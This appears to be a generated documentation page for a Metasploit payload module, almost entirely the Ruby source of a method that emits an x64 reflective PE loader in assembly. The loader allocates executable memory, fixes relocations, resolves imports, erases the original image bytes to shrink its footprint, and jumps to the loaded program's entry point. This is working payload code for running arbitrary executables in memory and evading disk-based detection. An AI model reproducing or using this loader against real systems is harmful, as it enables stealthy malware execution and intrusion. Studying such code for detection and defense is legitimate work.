Module: Msf::Payload::Windows::ReflectivePELoader_x64
- Includes:
- BlockApi_x64
- Defined in:
- lib/msf/core/payload/windows/x64/reflective_pe_loader_x64.rb
Instance Method Summary collapse
Methods included from BlockApi_x64
#asm_block_api, #block_api_hash, #block_api_iv
Instance Method Details
#asm_reflective_pe_loader_x64(opts) ⇒ Object
6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 |
# File 'lib/msf/core/payload/windows/x64/reflective_pe_loader_x64.rb', line 6 def asm_reflective_pe_loader_x64(opts) prologue = '' if opts[:is_dll] == true prologue = %( mov rcx,r13 ; hinstDLL mov rdx,0x01 ; fdwReason xor r8,r8 ; lpReserved ) end %^ stub: pop rsi ; Get the address of image to rsi call $+5 ; Push the current RIP value to stack cld ; Clear direction flags sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0] mov rbp,rsp ; Copy current stack address to rbp and rbp,-0x1000 ; Create a new shadow stack address mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE mov rdx,[rsp] ; dwSize xor rcx,rcx ; lpAddress xchg rsp,rbp ; Swap shadow stack mov r10d,#{block_api_hash('kernel32.dll', 'VirtualAlloc')} call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) xchg rsp,rbp ; Swap shadow stack mov rdi,rax ; Save the new base address to rdi xor rax,rax ; Zero out the RAX xor r8,r8 ; Zero out the R8 xor r13,r13 ; Zero out the R13 xor r14,r14 ; Zero out the R14 mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA add rax,rsi ; Base relocation table memory address add rcx,rax ; End of base relocation table calc_delta: mov rdx,rdi ; Move the new base address to rdx sub rdx,rbx ; Delta value mov r13d,dword [rax] ; Move the reloc RVA to R13D mov r14d,dword [rax+4] ; Move the reloc table size to R14D add rax,0x08 ; Move to the reloc descriptor jmp fix ; Start fixing get_rva: cmp rcx,rax ; Check if the end of the reloc section jle reloc_fin ; If yes goto fin mov r13d,dword [rax] ; Move the new reloc RVA mov r14d,dword [rax+4] ; Move the new reloc table size add rax,0x08 ; Move 8 bytes fix: cmp r14w,0x08 ; Check if the end of the reloc block jz get_rva ; If yes set the next block RVA mov r8w,word [rax] ; Move the reloc desc to r8w cmp r8w, 0x00 ; Check if it is a padding word je pass ; Pass padding bytes and r8w,0x0FFF ; Get the last 12 bits add r8d,r13d ; Add block RVA to desc value add r8,rsi ; Add the start address of the image add [r8],rdx ; Add the delta value to calculated absolute address pass: sub r14d,0x02 ; Decrease the index add rax,0x02 ; Move to the next reloc desc. xor r8,r8 ; Zero out r8 jmp fix ; Loop reloc_fin: ; All done ! xor r14,r14 ; Zero out r14 xor r15,r15 ; Zero out r15 xor rcx,rcx ; Zero out rcx mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") mov eax,dword [rax+rsi+0x90] ; Import table RVA add rax,rsi ; Import table memory address (first image import descriptor) push rax ; Save import descriptor to stack get_modules: cmp dword [rax],0 ; Check if the import names table RVA is NULL jz complete ; If yes building process is done mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax add rcx,rsi ; Get the dll name address call LoadLibraryA ; Load the library mov r13,rax ; Move the dll handle to R13 mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax call get_procs ; Resolve all windows API function addresses add dword [rsp],0x14 ; Move to the next import descriptor mov rax,[rsp] ; Set the new import descriptor address to eax jmp get_modules ; Get other modules get_procs: mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA add r14,rsi ; Get the IAT memory address mov rax,[rax] ; Set the import names table RVA to eax add rax,rsi ; Get the current import descriptor's import names table address mov r15,rax ; Save &INT to R15 resolve: cmp dword [rax],0x00 ; Check if end of the import names table jz all_resolved ; If yes resolving process is done mov rax,[rax] ; Get the RVA of function hint to eax btr rax,63 ; Check if the high order bit is set jnc name_resolve ; If high order bit is not set resolve with INT entry shl rax,2 ; Discard the high bit by shifting shr rax,2 ; Shift back the original value call GetProcAddress ; Get the API address with hint jmp insert_iat ; Insert the address of API to IAT name_resolve: add rax,rsi ; Set the address of function hint add rax,0x02 ; Move to function name call GetProcAddress ; Get the function address to eax insert_iat: mov [r14],rax ; Insert the function address to IAT add r14,0x08 ; Increase the IAT index add r15,0x08 ; Increase the import names table index mov rax,r15 ; Set the address of import names table address to eax jmp resolve ; Loop all_resolved: mov qword [r14],0x00 ; Insert a NULL dword ret ; <- LoadLibraryA: ;mov rcx,rax ; Move the address of library name string to RCX xchg rbp,rsp ; Swap shadow stack mov r10d,#{block_api_hash('kernel32.dll', 'LoadLibraryA')} call api_call ; LoadLibraryA(RCX) xchg rbp,rsp ; Swap shadow stack ret ; <- GetProcAddress: xchg rbp,rsp ; Swap shadow stack mov rcx,r13 ; Move the module handle to RCX as first parameter mov rdx,rax ; Move the address of function name string to RDX as second parameter mov r10d,#{block_api_hash('kernel32.dll', 'GetProcAddress')} call api_call ; GetProcAddress(ebx,[esp+4]) xchg rbp,rsp ; Swap shadow stack ret ; <- complete: pop rax ; Clean out the stack pop rcx ; Pop the ImageSize into RCX push rdi ; Save ImageBase to stack mov r13,rdi ; Copy the new base value to r13 add r13,r12 ; Add the address of entry value to new base address memcpy: mov al,[rsi] ; Move 1 byte of PE image to AL register mov [rdi],al ; Move 1 byte of PE image to image base mov byte [rsi],0x00 ; Overwrite copied byte (for less memory footprint) inc rsi ; Increase PE image index inc rdi ; Increase image base index loop memcpy ; Loop until zero PE_start: pop r13 ; Pop the image base to r13 or rcx,-1 ; hProcess xor rdx,rdx ; lpBaseAddress xor r8,r8 ; hProcess xchg rbp,rsp ; Swap shadow stack mov r10d,#{block_api_hash('kernel32.dll', 'FlushInstructionCache')} call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL); #{prologue} add r13,r12 ; Add the address of entry value to image base call r13 ; Call the AOE and rsp,-0x10 ; Align stack mov rcx,0x00 ; dwExitCode mov r10d,#{'0x%.8x' % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} call api_call ; Call exit funk based on exit_type #{asm_block_api} ^ end |